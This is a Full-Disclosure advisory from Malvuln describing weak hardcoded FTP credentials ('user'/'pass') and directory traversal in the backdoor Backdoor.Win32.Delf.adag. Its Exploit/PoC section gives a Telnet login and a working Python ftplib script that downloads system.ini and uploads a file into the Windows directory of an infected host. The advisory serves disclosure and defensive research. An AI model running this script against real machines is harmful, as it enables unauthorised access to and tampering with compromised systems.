full-disclosure - [FD] Backdoor.Win32.Delf.adag / Weak Hardcoded Credentials

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Date: Tue, 23 Feb 2021 23:40:34 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Delf.adag / Weak Hardcoded Credentials

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/0e997ab441cd8c35010dd8db98aae2c2.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.adag
Vulnerability: Weak Hardcoded Credentials
Description: The backdoor runs an FTP server listening on TCP port 21 and
uses weak hardcoded credentials which can be easily found using strings
util. Credentials are located at memory offsets 0042C5CF and 0042C5DE,
files can be uploaded or downloaded using dir traversal chars "../" outside
of its main dir.
Type: PE32
MD5: 0e997ab441cd8c35010dd8db98aae2c2
Vuln ID: MVID-2021-0108
Dropped files:
Disclosure: 02/23/2021

Exploit/PoC:
TELNET x.x.x.x 21
220 Indy FTP Server ready.

USER user

331 User name okay, need password.

PASS pass

230 User logged in, proceed.

import ftplib, time
MALWARE_HOST="x.x.x.x"
USR='user'
PWD='pass'

#Download system.ini
def getFile(ftp, fname):
    try:
        ftp.retrbinary("RETR " + fname ,open(fname, 'wb').write)
    except:
        print("Error")

ftp = ftplib.FTP(MALWARE_HOST)
ftp.login(USR, PWD)

print(ftp.cwd('../../../../Windows/'))
print(ftp.pwd())
getFile(ftp, 'system.ini')

time.sleep(1)

#Upload files to Windows dir
def upload(ftp, _file):
    s = ftplib.FTP(MALWARE_HOST,USR,PWD)
    f = open(_file,"rb")
    print(s.storbinary("STOR "+"../../../../Windows/"+_file, f))
    f.close()
    s.quit()

upload(ftp, "1.js")
ftp.quit()

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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